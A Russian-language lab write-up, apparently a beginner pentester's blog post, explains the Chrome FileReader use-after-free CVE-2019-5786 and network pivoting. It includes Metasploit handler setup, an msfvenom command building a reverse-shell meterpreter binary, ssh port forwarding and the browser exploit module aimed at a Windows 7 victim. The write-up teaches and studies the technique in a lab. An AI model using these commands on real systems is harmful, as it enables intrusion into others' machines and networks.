Вводная
Всем привет, в этой статье я хочу поделиться своим опытом в эксплуатации уязвимости Chrome FileReader UAF, проведении техники pivoting, ну и написать свою первую статью конечно.
Так как я являюсь начинающим Pentest инженером, то потратил на освоение и понимание этой техники достаточно много времени, ведь мне не достаточно знать на какую кнопку надо нажать, но так же мне важно знать как эта кнопка работает. Естественно, я пытался все это время найти какую-либо информацию по этому вопросу, но так как My English level is bad, то это заняло у меня намного больше времени, чем я рассчитывал. Возможно, эта статья кому-нибудь поможет не наступить лишний раз на грабли, на которые наступил я при изучении и эксплуатации данной уязвимости, а так же немного разобраться как же она вообще работает и где тут магия.
CVE-2019-5786 Chrome FileReader Use After Free(UAF) — это уязвимость одна из прошлогодних (была найдена 8 мая 2019 года), её давно уже успели пропатчить, но есть вероятность, что остались те люди (админы или обычные юзвери), которые отрубают автоматическое обновление и это нам на руку.
Как работает уязвимость?
Отличная, подробная статья, которая помогла мне разобраться, почему уязвимость вообще работает тут, ну а если на русском и для таких как я, которым все это трудно дается для начала немного теории JavaScript.
Счетчик ссылок
В js есть такой инструмент как «Счетчик ссылок» — это инструмент на котором основан сборщик мусора и он служит для того, что бы узнать, что та или иная сущность в коде (переменная, объект, массив) больше не нужна и освободить память, которую она использует. Счетчик работает по принципу «Если на объект больше никто не ссылается и его счетчик ссылок равен нулю, значит этот объект не нужен», но это очень грубое объяснение и сейчас это работает намного сложнее и лучше. Более подробно описанной в этой статье.
FileReader
FileReader — это объект, который позволяет асинхронно читать данные из File/Blob объектов, настраивая события для перехвата состояния чтения (loaded, progress, error и.т.д.). Внутри объект имеет метод чтения в ArrayBuffer под именем readToArrayBuffer, в котором и таилась уязвимость, но об этом позже.
HTML5 Web-workers
Web-worker — это поток, который работает в браузере и выполняет произвольный JavaScript код не блокируя основной цикл событий. Таким образом можно достичь многопоточности приложений в браузере, выделив сложные операции в web-worker (например рендер 3D). Так как все операции будут выполняться параллельно, то и общение с web-worker будет немного своеобразным, а именно посредством postMessage.
postMessage API
postMessage — это API обмена сообщениями с разными сущностями браузера (iFrame, web-worker, service-worker и.т.д). У этого метода есть одна особенность, которая и позволяет эксплуатировать уязвимость — это её последний необязательный аргумент transfer, который отвечает за то, что бы последовательно передать объекты в пункт назначения и при этом полностью передать владение памятью этих объектов туда-же.
Уязвимость
Уязвимость работает потому, что при каждом перехвате filereader.onprogress в не пропатченной версии хрома нам просто отдается ссылка на ArrayBuffer, который мы читаем.
DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
DCHECK_EQ(read_type_, kReadAsArrayBuffer);
if (array_buffer_result_)
return array_buffer_result_;
// If the loading is not started or an error occurs, return an empty result.
if (!raw_data_ || error_code_ != FileErrorCode::kOK)
return nullptr;
DOMArrayBuffer* result = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
if (finished_loading_) {
array_buffer_result_ = result;
AdjustReportedMemoryUsageToV8(
-1 * static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
}
return result;
}
а в пропатченной же версии при каждом перехвате filereader.onprogress, нам возвращается новый экземпляр ArrayBuffer.
DOMArrayBuffer* FileReaderLoader::ArrayBufferResult() {
DCHECK_EQ(read_type_, kReadAsArrayBuffer);
if (array_buffer_result_)
return array_buffer_result_;
// If the loading is not started or an error occurs, return an empty result.
if (!raw_data_ || error_code_ != FileErrorCode::kOK)
return nullptr;
if (!finished_loading_) {
return DOMArrayBuffer::Create(
ArrayBuffer::Create(raw_data_->Data(), raw_data_->ByteLength()));
}
array_buffer_result_ = DOMArrayBuffer::Create(raw_data_->ToArrayBuffer());
AdjustReportedMemoryUsageToV8(-1 *
static_cast<int64_t>(raw_data_->ByteLength()));
raw_data_.reset();
return array_buffer_result_;
}
Этим эксплоит и пользуется сохраняя эти ссылки и передавая в web-worker через postMessage. После передачи первой ссылки на объект, передача последующей не удастся, так как объект к тому времени уже не валиден, ведь мы передали владение памятью объекта в воркер и тем самым повредили его длину. Нам будет выброшена ошибка и сборщик мусора освободит память объекта в воркере но ссылка на эту память останется через второй аргумент, который мы попытались передать, ведь они указывают на одно и тоже пространство в памяти. Дальше это может быть использовано в выполнение любого удаленного кода на усмотрение злоумышленника.
Pivoting
Перед тем как приступить к практике, надо разобрать еще одну составляющую, которая нам понадобится в дальнейшем — Pivoting, для этого давайте разберем один тестовый кейс.
В этом примере у нас есть:
- Сам пентестер (Kali linux).
- Корпоративная NAT сеть.
- HiTM (Host in the middle) — это хост, который в нашем случае смотрит в мир и во внутреннюю сеть одновременно, тем самым доставляя запросы из внешней сети во внутреннюю корпоративную сеть и наоборот (является неким прокси).
NAT или же Network Address Translation можно как раз таки представить в виде нашей HiTM машины, ведь этот механизм служит для организации приёмки пакетов из вне, на один внешний IP адрес и трансляции их в нужную точку назначения внутри NAT сети (любой IP адрес внутренней сети). Тем самым достигается сохранение числа IP адресов путем создания внутренней подсети с одной точкой входа для всех пакетов из вне.
Еще одним простым примером NAT является любой домашний роутер, так как он принимает пакеты на один свой сетевой интерфейс с одним внешним для всего мира IP адресом и перенаправляет пакеты уже во внутреннюю сеть, на наши устройства (телефоны/ноутбуки/планшеты).
И так на картинке видно, что если мы получим доступ к HiTM машине, которая в свою очередь имеет доступ во внутреннюю сеть, то дальше мы сможем расширить диапазон атаки и проникнуть в эту самую неприступную внутреннюю сеть, а ведь это и есть наша цель!
Pivot машиной, как раз и будет являться наша HiTM, так как мы будем производить все манипуляции от её имени, что бы не вызывать подозрений внутри корпоративной сети. В принципе это и есть Pivoting — компрометация хоста, который имеет доступ в нужную нам сеть и выполнение манипуляций от его имени.
Практика
Входные данные для настройки лаборатории:
- Virtual Box (ну либо VMWare кому как больше нравится).
- Виртуалка с Kali linux (Пентестер).
- Виртуалка с Windows 7 (жертва).
- Виртуалка с Linux (HiTM machine).
- Можно накидать еще каких-нибудь машин, если производительность позволяет для имитации сети, но для лабораторной можно обойтись и без них.
Настройка лабораторной:
- Настраиваем в Virtual box 2 NAT сетки одну называем например KaliNetwork — 10.0.2.0/24, другую VMNetwork — 10.0.3.0/24 (сделать это можно через preferences/network).
- В настройках виртуалки Kali, в параметрах Network, ставим NAT network и выбираем KaliNetwork.
- В настройках машины жертвы (Windows 7) выбираем NAT Network и VMNetwork.
- На нашей промежуточной машине у нас должно быть активировано два сетевых интерфейса, один должен смотреть в KaliNetwork, а второй в VMNetwork.
- На нашей промежуточной машине должен быть установлен и запущен ssh сервер и настроена политика предоставления доступа к ssh тунелям всем пользователям сети (об этом ниже), при помощи параметра GatewayPorts = yes в файле /etc/ssh/sshd_config.
- На машине жертвы должен быть установлен Chrome версии 72.0.3626.119 и отключены его обновления.
На этом настройка закончена, запускаем машины и начинаем.
Первым делом сканируем сеть и вычисляем хосты. Для этого нам подойдёт любая утилита для сканирования, я же предпочитаю пользоваться nmap, так как у него на мой взгляд самый обширный функционал, понятный мануал, куча гайдов как сделать то что вам нужно на просторах гугла.
nmap -n -sn 10.0.2.0/24
Этой командой я заставляю nmap провести ping сканирование подсети 10.0.2.0/24 (пролиновать все хосты от 10.0.2.1 до 10.0.2.255) и не делать сканирование портов потому, что нам знать о них не нужно в данной лаборатории (давайте представим, что мы уже знаем как попасть на машину, которая нам нужна дабы не увеличивать статью вдвое).
И так что мы нашли?
- 10.0.2.7 — это наша виртуалка с Kali.
- 10.0.2.5 — Эта наша будущая pivot машина.
- Остальные хосты тут просто поддержка сети в virtual box на них мы внимания не обращаем.
Теперь нам нужно получить доступ к нашей HiTM тачке. Для этого мы будем использовать Metasploit framework — это набор утилит и скриптов, который используется для эксплуатации большинства уязвимостей и база этих уязвимостей постоянно пополняется.
Что бы удобно работать с metasploit мы войдем в интерактивную консоль при помощи команды.
msfconsole -q
А дальше выполним последовательность инструкций.
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 10.0.2.7
exploit -j
Теперь по порядку:
- use exploit/multi/handler это модуль metasploit, который предназначен для перехвата поступающих на его сокет соединений.
- set payload linux/x86/meterpreter/reverce_tcp это модуль полезной нагрузки, который отвечает за создание интерактивной сессии meterpreter а reverse_tcp означает, что подключаться будем не мы а к нам. Если бы нам нужно было подключиться к жертве самостоятельно, мы должны были бы использовать модуль bind_tcp.
- set LHOST 10.0.2.7 устанавливаем адрес хоста, к которому машина жертвы будет подключаться (порт оставим стандартный 4444).
- exploit -j включаем наш эксплоит и ждем соединений.
Просто так к нам никто подключаться не будет, поэтому нам надо сгенерировать, доставить и запустить на машине жертвы эксплоит, который будет держать коннект к нашей Kali.
Для этого через утилиту metasploit msfvenom мы сгенерируем бинарный файл и запустим его на нашей HiTM машине. Для генерации нам нужна команда.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.0.2.7 LPORT=4444 -f elf > ./expl.elf
Как доставить этот файл на машину жертвы решать вам (это не входит в рамки данной статьи).
Я же перебросил её просто через ssh командой:
scp ./expl.elf username@10.0.2.5:’expl.elf'
Ну и после запуска файла на HiTM получил желанную сессию.
Теперь зайдём и убедимся что эта та машина, которая нам нужна для этого войдем в meterpreter сессию.
sessions -i 1
И выполним ifconfig дабы убедиться, что эта машина имеет интерфейс в сети 10.0.3.0/24.
Итак мы скомпрометировали машину, которая знает о существовании сети в которой есть машина жертвы, теперь скомпроментированная машина является для нас Pivot машиной и от её имени мы будем развивать нашу атаку дальше.
Для начала нам нужно сделать проброс портов. Дело в том что нам нужно получить от машины жертвы такую же интерактивную сессию, как и с pivot машины, что бы дальше продолжать свою атаку, но машина жертвы не знает по какому пути ей нужно к нам подключаться, ведь ее подсеть 10.0.3.0/24 отличается от нашей подсети 10.0.2.0/24 и теперь, даже если мы закинем payload каким-нибудь образом на машину жертвы, толку от этого не будет никакого.
Но если мы заставим нашу pivot машину проксировать все, что приходит к ней на определенный порт, к нам на тот же порт а от нас к машине жертвы, тогда мы с легкостью сможем получить сессию при помощи уязвимости хрома.
Что бы пробросить порты и создать тунель мы можем воспользоваться кучей разных утилит, даже самим metasploit, но самым простым способом будет использовать обычный ssh.
Нам нужно пробросить 2 порта:
- 8080 — так как уязвимость работает с браузером и немного нацелена на веб.
- 5555 — или любой другой для meterpreter сессии.
На картинке ниже показан результат с командами запуска для проброса портов на pivot машину.
Теперь, давайте загрузим в metasploit нужный нам эксплоит и настроим его.
use exploit/windows/browser/chrome_filereader_uaf
set payload windows/meterpreter/reverse_tcp
set LHOST 10.0.3.6
set LPORT 5555
set EXITFUNC thread
set URRIPATH /
exploit -j
Снова разберем каждую команду
- use exploit/windows/browser/chrome_filreader_uaf загрузили модуль, который будет эксплуатировать уязвимость хрома.
- set payload windows/meterpreter/reverse_tcp модуль meterpreter для windows.
- set LHOST 10.0.3.6 устанавливаем хост, такой же как у нашей pivot машины, но в сети VMNetwork, это нужно для того что бы когда жертва попытаться открыть tcp соединение к pivot машине, pivot машина проксировала этот запрос к нам и таким образом соединение откроется к нам по прямому туннелю.
- set LPORT 5555 устанавливаем порт в 5555, так как стандартный 4444 уже занят соединением с pivot машиной.
- set EXITFUNC thread это одна полезная опция при которой, в случае неудачи на машине жертвы закроется не целый процесс, как это указанно по-умолчанию, а всего лишь поток, так мы уменьшаем вероятность случайно закрашить машину жертвы и подставить себя.
- set URIPATH / это установит точку входа для эксплоита, теперь, когда пользователь перейдет по пути http://10.0.3.6:8080/ эксплоит начнет свое действие, можно указать любой другой путь.
Теперь, идем на машину жертвы и запускаем chrome, но не просто так, а с параметром —no-sandbox сделать это можно например при помощи командной строки.
chrome.exe —-no-sandbox
Ну и на по следок, идем по IP, который указали в LHOST http://10.0.3.6:8080/ — порт 8080, это порт, который используется эксплоитом, по-умолчанию его можно поменять на любой другой, как и другие параметры.
Если мы видим в консоли что-то вроде этого, значит эксплоит отработал на ура и у нас появилась вторая сессия meterpreter, но уже к виндовому хосту.
Вот в принципе и все, победа, дальше можем развивать нашу атаку как захотим. Конечно для эксплуатации этой уязвимости слишком много звезд должно сойтись, но сети бывают разные и люди тоже, поэтому по моему скромному мнению знание об этой уязвимости не будут лишними, хотя кто знает.
Материалы
- WriteUp от Exodus intelligence по поводу уязвимости CVE-2019-5786
- Статья о работе c памятью в JavaScript
- Курс в текстовом формате от Offensive Security по Metasploit fraemwork
- Хорошая статья про Pivoting и проброс портов